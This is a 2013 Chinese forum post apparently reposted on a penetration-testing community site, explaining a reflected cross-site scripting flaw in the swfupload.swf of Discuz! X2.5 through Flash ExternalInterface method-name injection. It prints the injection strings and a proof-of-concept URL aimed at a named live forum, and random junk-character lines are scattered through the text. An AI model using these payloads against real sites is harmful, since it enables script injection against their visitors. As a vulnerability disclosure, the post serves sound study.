中国网络渗透测试联盟
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
[打印本页]
作者:
admin
时间:
2013-2-23 12:50
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
, o2 k/ R: b8 ]( M4 A. }8 \
2 c9 K8 v2 r. V! E9 `' g
flash.external.ExternalInterface.call($methodName, $parameter)
4 i; S0 W. K" u N" E2 P
在浏览器中执行的是
% c# W# D; w) b0 a
2 {8 k1 o2 r" k4 O0 J. X( Y8 G# b8 }
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
. u2 ^6 u5 Z- F5 J7 m4 i* @9 D T
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
: @; [/ \3 z& u' P7 T5 V$ h7 |$ A
' d- T" C0 d8 m/ D7 I4 H u3 W) `! L
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
3 l' l' u: Q2 u
$methodName = a())}catch(e){alert(/xss/)}//
! l8 D0 j( x% ]6 ?$ s- V& `
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
& }( _& _5 J9 N: q( c
: i3 m U; `* }' |. _5 l6 t# ?7 ?
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
% A7 T/ G# d( `# e6 y; o
2 z9 f0 A( a j0 n, s$ {
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
7 m0 L6 r6 ~' b& i) P7 c
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
6 X6 [# U Q+ q5 j5 l# s' x
1 S1 P% h8 r. L) e# S* B
4 w2 [) P; O3 d! a" T& `6 ?
. n" C" b% ^5 g) Q4 I
漏洞文件:upload\static\image\common\swfupload.swf
|" s% S: F- H4 ^. R8 D9 }
9 ]# g) F/ I0 X" m
原始SWF下载:
http://swfpoc.appspot.com/vul/discuz_swfupload.swf
, L8 ^1 y1 Z6 C, g4 V! q' d6 [
* h1 ^0 E' |3 [
& l0 P- r$ q& y9 j
漏洞证明:
http://bbs.open.qq.com/static/im ... d.swf?movieName=%22
])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
6 ~& q' q6 m+ \" \3 Z6 N- s
5 E, n6 J& P y* i y) k
) [/ g' |4 ~4 I n) Z4 k; ^ K
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2